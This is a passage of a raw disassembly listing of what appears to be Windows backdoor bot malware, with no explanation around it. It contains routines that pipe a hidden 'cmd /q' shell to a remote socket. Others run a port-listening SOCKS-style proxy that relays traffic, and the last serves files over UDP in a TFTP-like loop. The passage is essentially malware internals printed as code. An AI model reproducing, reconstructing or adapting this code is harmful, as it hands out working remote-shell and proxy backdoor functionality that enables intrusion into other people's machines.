mov ebx, dword_427108
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx ; CreatePipe
mov edi, dword_427070
test eax, eax
jnz short loc_41188A
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_43560C
jmp short loc_4118AA
; ---------------------------------------------------------------------------
loc_41188A: ; CODE XREF: sub_411827+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx ; CreatePipe
test eax, eax
jnz short loc_4118B2
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_4355CC
loc_4118AA: ; CODE XREF: sub_411827+61j
call sub_415DAC
pop ecx
jmp short loc_4118E0
; ---------------------------------------------------------------------------
loc_4118B2: ; CODE XREF: sub_411827+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_411920
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi ; CloseHandle
push [ebp+var_8]
call edi ; CloseHandle
cmp dword ptr [esi+8], 0
jnz short loc_411915
push offset unk_4355A4
call sub_415D38
loc_4118E0: ; CODE XREF: sub_411827+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_4118EC
push [ebp+var_4]
call edi ; CloseHandle
loc_4118EC: ; CODE XREF: sub_411827+BEj
cmp [ebp+var_8], 0
jz short loc_4118F7
push [ebp+var_8]
call edi ; CloseHandle
loc_4118F7: ; CODE XREF: sub_411827+C9j
mov eax, [esi]
test eax, eax
jz short loc_411900
push eax
call edi ; CloseHandle
loc_411900: ; CODE XREF: sub_411827+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_41190A
push eax
call edi ; CloseHandle
loc_41190A: ; CODE XREF: sub_411827+DEj
push esi
call sub_41BA91
pop ecx
loc_411911: ; CODE XREF: sub_411827+1Dj
xor eax, eax
jmp short loc_41191B
; ---------------------------------------------------------------------------
loc_411915: ; CODE XREF: sub_411827+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_41191B: ; CODE XREF: sub_411827+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_411827 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411920 proc near ; CODE XREF: sub_411827+94p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_58]
push esi
push eax
mov [ebp+var_4], esi
call sub_41BF70
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BF70
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+var_58], edi
mov edi, dword_427104
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi ; GetCurrentProcess
push eax
push ebx
call edi ; GetCurrentProcess
push eax
call dword_427100 ; DuplicateHandle
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
call dword_427074 ; CreateProcessA
test eax, eax
jz short loc_4119DC
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov dword_43E928[eax], ecx
call dword_427070 ; CloseHandle
jmp short loc_4119F2
; ---------------------------------------------------------------------------
loc_4119DC: ; CODE XREF: sub_411920+9Aj
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_43564C
call sub_415DAC
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_4119F2: ; CODE XREF: sub_411920+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_411920 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4119F9 proc near ; DATA XREF: sub_4116D6+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
mov ebx, dword_4270EC
push edi
mov edi, [ebp+arg_0]
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
loc_411A22: ; CODE XREF: sub_4119F9+8Fj
call ebx ; ReadFile
test eax, eax
jz short loc_411A8A
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_411A5D
loc_411A33: ; CODE XREF: sub_4119F9+62j
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_411A4D
cmp dl, 0Dh
jz short loc_411A4D
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_411A4D: ; CODE XREF: sub_4119F9+44j
; sub_4119F9+49j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_411A33
loc_411A5D: ; CODE XREF: sub_4119F9+38j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call dword_4CBA34 ; send
test eax, eax
jle short loc_411A8A
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
jmp short loc_411A22
; ---------------------------------------------------------------------------
loc_411A8A: ; CODE XREF: sub_4119F9+2Dj
; sub_4119F9+79j
mov esi, dword_427094
call esi ; RtlGetLastWin32Error
cmp eax, 6Dh
jz short loc_411AA6
call esi ; RtlGetLastWin32Error
push eax
push offset unk_43568C
call sub_415DAC
pop ecx
pop ecx
loc_411AA6: ; CODE XREF: sub_4119F9+9Cj
pop edi
pop esi
pop ebx
leave
retn
sub_4119F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411AAB proc near ; DATA XREF: sub_4116D6+71o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
loc_411AC4: ; CODE XREF: sub_411AAB+39j
; sub_411AAB+D7j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call dword_4CB9FC ; recv
test eax, eax
jle loc_411BC9
cmp [ebp+var_10], ebx
jbe short loc_411AE6
dec [ebp+var_10]
jmp short loc_411AC4
; ---------------------------------------------------------------------------
loc_411AE6: ; CODE XREF: sub_411AAB+34j
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_411BA9
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_411B56
cmp al, 7Fh
jz short loc_411B56
cmp al, 3
jnz short loc_411B11
push ebx
push ebx
call dword_427134 ; GenerateConsoleCtrlEvent
jmp short loc_411B7D
; ---------------------------------------------------------------------------
loc_411B11: ; CODE XREF: sub_411AAB+5Aj
cmp al, 15h
jnz short loc_411B33
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_411B69
; ---------------------------------------------------------------------------
loc_411B33: ; CODE XREF: sub_411AAB+68j
mov [ebp+esi+var_DC], al
inc esi
push 1
cmp al, 0Dh
mov [ebp+var_8], al
pop ecx
jnz short loc_411B6A
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_411B69
; ---------------------------------------------------------------------------
loc_411B56: ; CODE XREF: sub_411AAB+52j
; sub_411AAB+56j
cmp esi, ebx
jbe short loc_411B80
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_411B69: ; CODE XREF: sub_411AAB+86j
; sub_411AAB+A9j
pop ecx
loc_411B6A: ; CODE XREF: sub_411AAB+98j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call dword_4CBA34 ; send
test eax, eax
jle short loc_411BC9
loc_411B7D: ; CODE XREF: sub_411AAB+64j
mov al, byte ptr [ebp+arg_0+3]
loc_411B80: ; CODE XREF: sub_411AAB+ADj
cmp al, 0Dh
jnz loc_411AC4
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
call dword_4270F0 ; WriteFile
test eax, eax
jz short loc_411BC9
xor esi, esi
jmp loc_411AC4
; ---------------------------------------------------------------------------
loc_411BA9: ; CODE XREF: sub_411AAB+47j
cmp [ebp+var_C], ebx
jnz short loc_411BBA
mov [ebp+var_C], 1
jmp loc_411AC4
; ---------------------------------------------------------------------------
loc_411BBA: ; CODE XREF: sub_411AAB+101j
mov [ebp+var_10], 0Ah
mov [ebp+var_C], ebx
jmp loc_411AC4
; ---------------------------------------------------------------------------
loc_411BC9: ; CODE XREF: sub_411AAB+2Bj
; sub_411AAB+D0j ...
pop edi
pop esi
pop ebx
leave
retn
sub_411AAB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411BCE proc near ; DATA XREF: sub_401ACD+2BC4o
var_2D4 = byte ptr -2D4h
var_D4 = dword ptr -0D4h
var_D0 = byte ptr -0D0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 10h
mov esi, eax
pop ebx
lea edi, [ebp+var_D4]
push 2Ch
mov [ebp+var_4], ebx
pop ecx
rep movsd
push 1
xor esi, esi
pop edi
mov [eax+0A8h], edi
push ebx
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_40]
call dword_4CB9E4 ; htons
push 6
push edi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
call dword_4CBA64 ; socket
mov edi, eax
mov eax, [ebp+var_3C]
imul eax, 234h
push ebx
mov dword_43E92C[eax], edi
lea eax, [ebp+var_14]
push eax
push edi
call dword_4CBA10 ; bind
test eax, eax
jnz loc_411D70
push 0Ah
push edi
call dword_4CBA0C ; listen
test eax, eax
jnz loc_411D70
push [ebp+var_40]
push [ebp+var_D4]
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2D4]
push offset dword_42BC9C
push eax
call sub_41C266
add esp, 10h
cmp [ebp+var_30], esi
jnz short loc_411CA9
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_409869
add esp, 14h
loc_411CA9: ; CODE XREF: sub_411BCE+B9j
; sub_411BCE+172j ...
lea eax, [ebp+var_2D4]
push eax
call sub_415D38
pop ecx
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
push edi
call dword_4CBA78 ; accept
push [ebp+var_3C]
mov ebx, eax
movzx eax, [ebp+var_22]
push eax
mov [ebp+var_28], esi
push [ebp+var_20]
call dword_4CBA70 ; inet_ntoa
push eax
lea eax, [ebp+var_2D4]
push offset dword_435738
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2D4]
push 19h
push eax
call sub_40B3BA
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_43E924[eax], ecx
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_D4]
push esi
push eax
push offset sub_411DD3
push esi
push esi
call dword_427084 ; CreateThread
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_43E934[ecx], eax
jz short loc_411D50
loc_411D3D: ; CODE XREF: sub_411BCE+180j
cmp [ebp+var_28], esi
jnz loc_411CA9
push 5
call dword_427080 ; Sleep
jmp short loc_411D3D
; ---------------------------------------------------------------------------
loc_411D50: ; CODE XREF: sub_411BCE+16Dj
call dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2D4]
push offset dword_4356FC
push eax
call sub_41C266
add esp, 0Ch
jmp loc_411CA9
; ---------------------------------------------------------------------------
loc_411D70: ; CODE XREF: sub_411BCE+7Bj
; sub_411BCE+8Cj
push edi
call dword_4CBA7C ; closesocket
push [ebp+var_40]
lea eax, [ebp+var_2D4]
push offset dword_4356C8
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_411DB3
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_409869
add esp, 14h
loc_411DB3: ; CODE XREF: sub_411BCE+1C3j
lea eax, [ebp+var_2D4]
push eax
call sub_415D38
push [ebp+var_3C]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
pop edi
pop esi
pop ebx
sub_411BCE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411DD3 proc near ; DATA XREF: sub_411BCE+14Fo
var_5D4 = dword ptr -5D4h
var_5D0 = dword ptr -5D0h
var_4D0 = byte ptr -4D0h
var_4CF = byte ptr -4CFh
var_4CE = word ptr -4CEh
var_4CC = dword ptr -4CCh
var_4C8 = byte ptr -4C8h
var_C8 = byte ptr -0C8h
var_44 = byte ptr -44h
var_2C = dword ptr -2Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 2Ch
mov esi, eax
pop ecx
lea edi, [ebp+var_C8]
rep movsd
mov esi, [ebp+var_2C]
push 1
mov [ebp+arg_0], esi
imul esi, 234h
pop edi
lea esi, dword_43E92C[esi]
mov [eax+0ACh], edi
xor ebx, ebx
mov eax, [esi]
mov [ebp+var_8], 5
mov [ebp+var_5D0], eax
lea eax, [ebp+var_8]
push eax
push ebx
lea eax, [ebp+var_5D4]
push ebx
push eax
push ebx
mov [ebp+var_4], ebx
mov [ebp+var_5D4], edi
call dword_4CB9CC ; select
test eax, eax
jnz short loc_411E54
push dword ptr [esi]
call dword_4CBA7C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_411E54: ; CODE XREF: sub_411DD3+67j
push ebx
lea eax, [ebp+var_4D0]
push 408h
push eax
push dword ptr [esi]
call dword_4CB9FC ; recv
test eax, eax
jg short loc_411E85
push dword ptr [esi]
call dword_4CBA7C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_411E85: ; CODE XREF: sub_411DD3+98j
cmp [ebp+var_4D0], 4
jnz loc_41207F
cmp [ebp+var_4CF], 1
jnz loc_41207F
cmp [ebp+var_44], bl
jz short loc_411F1B
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_411F1B
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
push offset dword_435800
call sub_415DAC
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Dh
call sub_41BF70
add esp, 18h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4CBA34 ; send
push dword ptr [esi]
call dword_4CBA7C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_411F1B: ; CODE XREF: sub_411DD3+CFj
; sub_411DD3+E5j
push 10h
lea eax, [ebp+var_18]
push ebx
push eax
call sub_41BF70
mov ax, [ebp+var_4CE]
add esp, 0Ch
mov [ebp+var_16], ax
mov eax, [ebp+var_4CC]
push 6
push edi
push 2
mov [ebp+var_18], 2
mov [ebp+var_14], eax
call dword_4CBA64 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_411FB3
call dword_4CB978 ; WSAGetLastError
push eax
push offset dword_4357C0
call sub_415DAC
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_41BF70
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4CBA34 ; send
push dword ptr [esi]
call dword_4CBA7C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_411FB3: ; CODE XREF: sub_411DD3+181j
lea eax, [ebp+var_18]
push 10h
push eax
push edi
call dword_4CB98C ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_412022
call dword_4CB978 ; WSAGetLastError
push eax
push offset dword_43577C
call sub_415DAC
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_41BF70
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4CBA34 ; send
push dword ptr [esi]
call dword_4CBA7C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_412022: ; CODE XREF: sub_411DD3+1F0j
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Ah
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4CBA34 ; send
push dword ptr [esi]
push edi
call sub_412097
pop ecx
pop ecx
push edi
call dword_4CBA7C ; closesocket
push dword ptr [esi]
call dword_4CBA7C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_41207F: ; CODE XREF: sub_411DD3+B9j
; sub_411DD3+C6j
push dword ptr [esi]
call dword_4CBA7C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
sub_411DD3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412097 proc near ; CODE XREF: sub_411DD3+286p
var_504 = byte ptr -504h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_4120AD: ; CODE XREF: sub_412097+C5j
; sub_412097+F5j
mov [ebp+var_100], ebx
mov [ebp+var_104], 1
xor ecx, ecx
lea eax, [ebp+var_100]
loc_4120C5: ; CODE XREF: sub_412097+3Cj
mov edx, [ebp+arg_0]
cmp [eax], edx
jz short loc_4120D5
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_4120C5
loc_4120D5: ; CODE XREF: sub_412097+33j
cmp ecx, 1
jnz short loc_4120EA
mov [ebp+var_FC], edx
mov [ebp+var_104], 2
loc_4120EA: ; CODE XREF: sub_412097+41j
push esi
lea eax, [ebp+var_504]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_104]
push edi
push edi
push edi
push eax
push edi
call dword_4CB9CC ; select
lea eax, [ebp+var_104]
push eax
push ebx
call dword_4CB8D0 ; __WSAFDIsSet
test eax, eax
jz short loc_41214A
push edi
lea eax, [ebp+var_504]
push esi
push eax
push ebx
call dword_4CB9FC ; recv
cmp eax, 0FFFFFFFFh
jz short loc_412192
push edi
push eax
lea eax, [ebp+var_504]
push eax
push [ebp+arg_0]
call dword_4CBA34 ; send
cmp eax, 0FFFFFFFFh
jz short loc_412192
loc_41214A: ; CODE XREF: sub_412097+85j
lea eax, [ebp+var_104]
push eax
push [ebp+arg_0]
call dword_4CB8D0 ; __WSAFDIsSet
test eax, eax
jz loc_4120AD
push edi
lea eax, [ebp+var_504]
push esi
push eax
push [ebp+arg_0]
call dword_4CB9FC ; recv
cmp eax, 0FFFFFFFFh
jz short loc_412192
push edi
push eax
lea eax, [ebp+var_504]
push eax
push ebx
call dword_4CBA34 ; send
cmp eax, 0FFFFFFFFh
jnz loc_4120AD
loc_412192: ; CODE XREF: sub_412097+9Aj
; sub_412097+B1j ...
pop edi
pop esi
pop ebx
leave
retn
sub_412097 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412197 proc near ; CODE XREF: sub_412197:loc_4125F0p
; DATA XREF: sub_401ACD+20B3o ...
var_87C = dword ptr -87Ch
var_878 = dword ptr -878h
var_778 = byte ptr -778h
var_578 = byte ptr -578h
var_577 = byte ptr -577h
var_576 = byte ptr -576h
var_575 = byte ptr -575h
var_574 = byte ptr -574h
var_374 = dword ptr -374h
var_370 = byte ptr -370h
var_26C = byte ptr -26Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_160 = dword ptr -160h
var_15C = byte ptr -15Ch
var_DC = dword ptr -0DCh
var_D8 = dword ptr -0D8h
var_D0 = byte ptr -0D0h
var_CF = byte ptr -0CFh
var_CE = byte ptr -0CEh
var_CD = byte ptr -0CDh
var_50 = byte ptr -50h
var_3C = byte ptr -3Ch
var_38 = dword ptr -38h
var_2C = word ptr -2Ch
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 87Ch
mov edx, [ebp+arg_0]
push ebx
push esi
push edi
push 1
xor ebx, ebx
pop eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp+var_374]
push ebx
push 2
rep movsd
inc [ebp+var_164]
push 2
mov [ebp+var_10], eax
mov [ebp+var_14], eax
mov [ebp+var_8], eax
mov [edx+2A0h], eax
call dword_4CBA64 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_412237
push 190h
call dword_427080 ; Sleep
cmp [ebp+var_D8], ebx
jnz short loc_412217
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_409869
add esp, 14h
loc_412217: ; CODE XREF: sub_412197+5Bj
lea eax, [ebp+var_778]
push eax
call sub_415D38
push [ebp+var_168]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_412237: ; CODE XREF: sub_412197+48j
lea eax, [ebp+var_10]
push 4
push eax
mov edi, 0FFFFh
push 4
push edi
push esi
call dword_4CB9C4 ; setsockopt
lea eax, [ebp+var_14]
push 4
push eax
push 0FFFFFFFBh
push edi
push esi
call dword_4CB9C4 ; setsockopt
mov eax, [ebp+var_168]
push 10h
imul eax, 234h
push ebx
mov dword_43E92C[eax], esi
lea eax, [ebp+var_2C]
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_2C], 2
push [ebp+var_160]
call dword_4CB9E4 ; htons
mov [ebp+var_2A], ax
lea eax, [ebp+var_2C]
push 10h
push eax
push esi
mov [ebp+var_28], ebx
call dword_4CBA10 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_4122C1
push 1388h
call dword_427080 ; Sleep
dec [ebp+var_164]
push [ebp+arg_0]
jmp loc_4125F0
; ---------------------------------------------------------------------------
loc_4122C1: ; CODE XREF: sub_412197+10Fj
lea eax, [ebp+var_370]
push offset dword_429068
push eax
call sub_41BEA2
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jnz short loc_412327
push 190h
call dword_427080 ; Sleep
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_409869
lea eax, [ebp+var_778]
push eax
call sub_415D38
push [ebp+var_168]
call sub_40B6D6
add esp, 1Ch
push ebx
call dword_4270D4 ; ExitThread
loc_412327: ; CODE XREF: sub_412197+142j
; sub_412197+413j
mov edi, [ebp+arg_0]
cmp [edi+2A0h], ebx
jz loc_4125B3
mov edi, 80h
lea eax, [ebp+var_D0]
push edi
push ebx
push eax
mov [ebp+var_1C], 5
mov [ebp+var_18], 1388h
mov [ebp+var_878], esi
mov [ebp+var_87C], 1
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1C]
push eax
push ebx
lea eax, [ebp+var_87C]
push ebx
push eax
push ebx
call dword_4CB9CC ; select
test eax, eax
jle loc_4125A7
mov al, byte_43DB98
mov ecx, edi
mov [ebp+var_578], al
xor eax, eax
lea edi, [ebp+var_577]
mov [ebp+var_C], 10h
rep stosd
stosw
stosb
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_3C]
push eax
push ebx
lea eax, [ebp+var_D0]
push 80h
push eax
push esi
call dword_4CB9BC ; recvfrom
push [ebp+var_38]
mov [ebp+var_8], eax
call dword_4CBA70 ; inet_ntoa
push eax
lea eax, [ebp+var_50]
push eax
call sub_41C266
cmp [ebp+var_D0], bl
pop ecx
pop ecx
jnz loc_412591
cmp [ebp+var_CF], 1
jnz loc_412497
lea eax, [ebp+var_26C]
push eax
call sub_41B9C0
push ebx
push ebx
push [ebp+var_4]
call sub_41DA8B
push [ebp+var_4]
lea eax, [ebp+var_574]
mov [ebp+var_578], bl
mov [ebp+var_577], 3
push 200h
push 1
push eax
mov [ebp+var_576], bl
mov [ebp+var_575], 1
call sub_41BAFA
add esp, 20h
lea ecx, [ebp+var_3C]
mov [ebp+var_8], eax
add eax, 4
push [ebp+var_C]
push ecx
push ebx
push eax
lea eax, [ebp+var_578]
push eax
push esi
call dword_4CBA48 ; sendto
cmp [ebp+var_D8], ebx
jnz short loc_412485
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_409869
add esp, 14h
loc_412485: ; CODE XREF: sub_412197+2C9j
lea eax, [ebp+var_778]
push eax
call sub_415D38
pop ecx
jmp loc_4125A7
; ---------------------------------------------------------------------------
loc_412497: ; CODE XREF: sub_412197+257j
cmp [ebp+var_CF], 4
jnz loc_412591
mov cl, [ebp+var_CD]
mov al, [ebp+var_CE]
cmp cl, 0FFh
mov [ebp+var_578], bl
mov [ebp+var_577], 3
jnz short loc_4124D4
inc al
xor cl, cl
mov [ebp+var_576], al
mov [ebp+var_575], bl
jmp short loc_4124E2
; ---------------------------------------------------------------------------
loc_4124D4: ; CODE XREF: sub_412197+329j
inc cl
mov [ebp+var_576], al
mov [ebp+var_575], cl
loc_4124E2: ; CODE XREF: sub_412197+33Bj
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
mov edi, 200h
shl eax, 9
sub eax, edi
push ebx
push eax
push [ebp+var_4]
call sub_41DA8B
push [ebp+var_4]
lea eax, [ebp+var_574]
push edi
push 1
push eax
call sub_41BAFA
add esp, 1Ch
mov edi, eax
lea eax, [ebp+var_3C]
mov [ebp+var_8], edi
push [ebp+var_C]
push eax
lea eax, [edi+4]
push ebx
push eax
lea eax, [ebp+var_578]
push eax
push esi
call dword_4CBA48 ; sendto
cmp edi, ebx
jnz short loc_4125A7
lea eax, [ebp+var_50]
push eax
lea eax, [ebp+var_778]
push offset dword_4347A0
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_D8], ebx
jnz short loc_41257C
push ebx
lea eax, [ebp+var_778]
push [ebp+var_DC]
push eax
lea eax, [ebp+var_15C]
push eax
push [ebp+var_374]
call sub_409869
add esp, 14h
loc_41257C: ; CODE XREF: sub_412197+3C0j
lea eax, [ebp+var_778]
push eax
call sub_415D38
inc dword_4CE4EC
pop ecx
jmp short loc_4125A7
; ---------------------------------------------------------------------------
loc_412591: ; CODE XREF: sub_412197+24Aj
; sub_412197+307j
push [ebp+var_C]
lea eax, [ebp+var_3C]
push eax
push ebx
push 9
push offset dword_435840
push esi
call dword_4CBA48 ; sendto
